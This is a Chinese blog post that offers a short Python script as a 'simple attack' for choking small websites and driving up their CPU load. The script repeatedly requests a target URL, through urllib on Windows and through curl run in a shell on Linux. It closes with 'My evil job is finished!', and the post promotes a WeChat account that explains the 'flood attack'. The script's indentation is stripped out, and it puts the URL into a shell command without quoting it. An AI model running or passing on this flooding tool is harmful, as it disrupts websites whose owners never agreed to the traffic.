python实现简单的攻击争对小型网站 运行堵塞和cpu使用率-泓源视野

python实现简单的攻击争对小型网站 运行堵塞和cpu使用率

import os
import time
import argparse
import platform

def visit_win(url, times, duration):
import urllib.request, urllib.error, urllib.parse
def _visit_win():
try:
s = urllib.request.urlopen(url).read()
except urllib.error.HTTPError as e:
print((e.code))
for i in range(times):
_visit_win()
print(("{} Done!".format(i+1)))
#do not use duration in win

def visit_linux(url, times, duration):
import subprocess
cmd = "curl {}".format(url)
for i in range(times):
subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE,shell=True)
print(("{} Done!".format(i+1)))
time.sleep(duration)

def parse_input():
input_parser = argparse.ArgumentParser()
input_parser.add_argument("--url",'-u', help="the url your need to visit")
input_parser.add_argument("--times",'-t', type=int, default=15, help="how many times you need to visit")
input_parser.add_argument("--duration",'-d', default=2.5, type=float, help="the duration between two visits")
input_args = input_parser.parse_args()
url = input_args.url
times = input_args.times
duration = input_args.duration
return url, times, duration

def main():
url, times, duration = parse_input()
if platform.system().lower() == 'linux':
visit_linux(url, times, duration)
else:
visit_win(url, times, duration)
print("My evil job is finished!")

if __name__ == '__main__':
main()

运行的话python3 click.py -u https://xxx.com -t10 -d10

说明-t代表刷点击的次数   -d代表每次时间间隔

使用方法添加泓源视野网络安全

python实现简单的攻击争对小型网站 运行堵塞和cpu使用率插图

泓源视野网络安全,微信公众号   发送python简单的洪水攻击 将回复使用方法!

本文由 泓源视野 作者:admin 发表,其版权均为 泓源视野 所有,文章内容系作者个人观点,不代表 泓源视野 对观点赞同或支持。如需转载,请注明文章来源。
1

发表评论

Protected with IP Blacklist CloudIP Blacklist Cloud
您是第8237316 位访客, 您的IP是:[54.161.98.96]